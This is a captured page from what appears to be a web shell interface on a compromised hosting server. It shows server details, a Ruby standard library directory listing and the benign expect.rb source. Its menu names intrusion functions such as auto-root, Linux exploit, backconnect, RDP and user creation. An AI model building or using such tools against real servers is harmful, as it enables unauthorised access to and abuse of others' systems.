Linux premium134.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
: 162.0.232.104 | : 216.73.216.40
Cant Read [ /etc/named.conf ]
?8.1.34
mfbsrygq
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby40 /
share /
ruby /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
bigdecimal
[ DIR ]
drwxr-xr-x
?;
cgi
[ DIR ]
drwxr-xr-x
?;
did_you_mean
[ DIR ]
drwxr-xr-x
?;
digest
[ DIR ]
drwxr-xr-x
?;
erb
[ DIR ]
drwxr-xr-x
?;
error_highlight
[ DIR ]
drwxr-xr-x
?;
forwardable
[ DIR ]
drwxr-xr-x
?;
io
[ DIR ]
drwxr-xr-x
?;
json
[ DIR ]
drwxr-xr-x
?;
net
[ DIR ]
drwxr-xr-x
?;
objspace
[ DIR ]
drwxr-xr-x
?;
open3
[ DIR ]
drwxr-xr-x
?;
openssl
[ DIR ]
drwxr-xr-x
?;
optparse
[ DIR ]
drwxr-xr-x
?;
prism
[ DIR ]
drwxr-xr-x
?;
psych
[ DIR ]
drwxr-xr-x
?;
random
[ DIR ]
drwxr-xr-x
?;
ripper
[ DIR ]
drwxr-xr-x
?;
set
[ DIR ]
drwxr-xr-x
?;
strscan
[ DIR ]
drwxr-xr-x
?;
syntax_suggest
[ DIR ]
drwxr-xr-x
?;
unicode_normalize
[ DIR ]
drwxr-xr-x
?;
uri
[ DIR ]
drwxr-xr-x
?;
vendor_ruby
[ DIR ]
drwxr-xr-x
?;
yaml
[ DIR ]
drwxr-xr-x
English.rb
5.96
KB
-rw-r--r--
bundled_gems.rb
8.41
KB
-rw-r--r--
cgi.rb
311
B
-rw-r--r--
coverage.rb
517
B
-rw-r--r--
date.rb
1.17
KB
-rw-r--r--
delegate.rb
11.96
KB
-rw-r--r--
did_you_mean.rb
4.51
KB
-rw-r--r--
digest.rb
3.3
KB
-rw-r--r--
erb.rb
32.57
KB
-rw-r--r--
error_highlight.rb
84
B
-rw-r--r--
expect.rb
2.19
KB
-rw-r--r--
fileutils.rb
79.18
KB
-rw-r--r--
find.rb
2.54
KB
-rw-r--r--
forwardable.rb
8.81
KB
-rw-r--r--
ipaddr.rb
22.86
KB
-rw-r--r--
json.rb
21.45
KB
-rw-r--r--
mkmf.rb
93.16
KB
-rw-r--r--
monitor.rb
6.97
KB
-rw-r--r--
objspace.rb
4.14
KB
-rw-r--r--
open-uri.rb
28.58
KB
-rw-r--r--
open3.rb
47.51
KB
-rw-r--r--
openssl.rb
1.24
KB
-rw-r--r--
optionparser.rb
59
B
-rw-r--r--
optparse.rb
65.44
KB
-rw-r--r--
pathname.rb
2
KB
-rw-r--r--
pp.rb
19.21
KB
-rw-r--r--
prettyprint.rb
15.95
KB
-rw-r--r--
prism.rb
3.74
KB
-rw-r--r--
psych.rb
26.05
KB
-rw-r--r--
resolv.rb
88.39
KB
-rw-r--r--
ripper.rb
2.44
KB
-rw-r--r--
securerandom.rb
2.28
KB
-rw-r--r--
shellwords.rb
7.53
KB
-rw-r--r--
singleton.rb
5.59
KB
-rw-r--r--
socket.rb
61.26
KB
-rw-r--r--
syntax_suggest.rb
74
B
-rw-r--r--
tempfile.rb
20.7
KB
-rw-r--r--
time.rb
24.01
KB
-rw-r--r--
timeout.rb
10.48
KB
-rw-r--r--
tmpdir.rb
5.62
KB
-rw-r--r--
tsort.rb
14.36
KB
-rw-r--r--
un.rb
11.17
KB
-rw-r--r--
uri.rb
3.09
KB
-rw-r--r--
weakref.rb
1.39
KB
-rw-r--r--
yaml.rb
2.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : expect.rb
# frozen_string_literal: true $expect_verbose = false class IO # call-seq: # IO#expect(pattern,timeout=9999999) -> Array # IO#expect(pattern,timeout=9999999) { |result| ... } -> nil # # The +expect+ library adds instance method IO#expect, # which is similar to the # {TCL expect extension}[https://www.tcl.tk/man/expect5.31/expect.1.html]. # # To use this method, you must require +expect+: # # require 'expect' # # Reads from the IO until the given +pattern+ matches or the +timeout+ is over. # # It returns an array with the read buffer, followed by the matches. # If a block is given, the result is yielded to the block and returns nil. # # When called without a block, it waits until the input that matches the # given +pattern+ is obtained from the IO or the time specified as the # timeout passes. An array is returned when the pattern is obtained from the # IO. The first element of the array is the entire string obtained from the # IO until the pattern matches, followed by elements indicating which the # pattern which matched to the anchor in the regular expression. # # The optional timeout parameter defines, in seconds, the total time to wait # for the pattern. If the timeout expires or eof is found, nil is returned # or yielded. However, the buffer in a timeout session is kept for the next # expect call. The default timeout is 9999999 seconds. def expect(pat,timeout=9999999) buf = ''.dup case pat when String e_pat = Regexp.new(Regexp.quote(pat)) when Regexp e_pat = pat else raise TypeError, "unsupported pattern class: #{pat.class}" end @unusedBuf ||= '' while true if not @unusedBuf.empty? c = @unusedBuf.slice!(0) elsif !IO.select([self],nil,nil,timeout) or eof? then result = nil @unusedBuf = buf break else c = getc end buf << c if $expect_verbose STDOUT.print c STDOUT.flush end if mat=e_pat.match(buf) then result = [buf,*mat.captures] break end end if block_given? then yield result else return result end nil end end
Close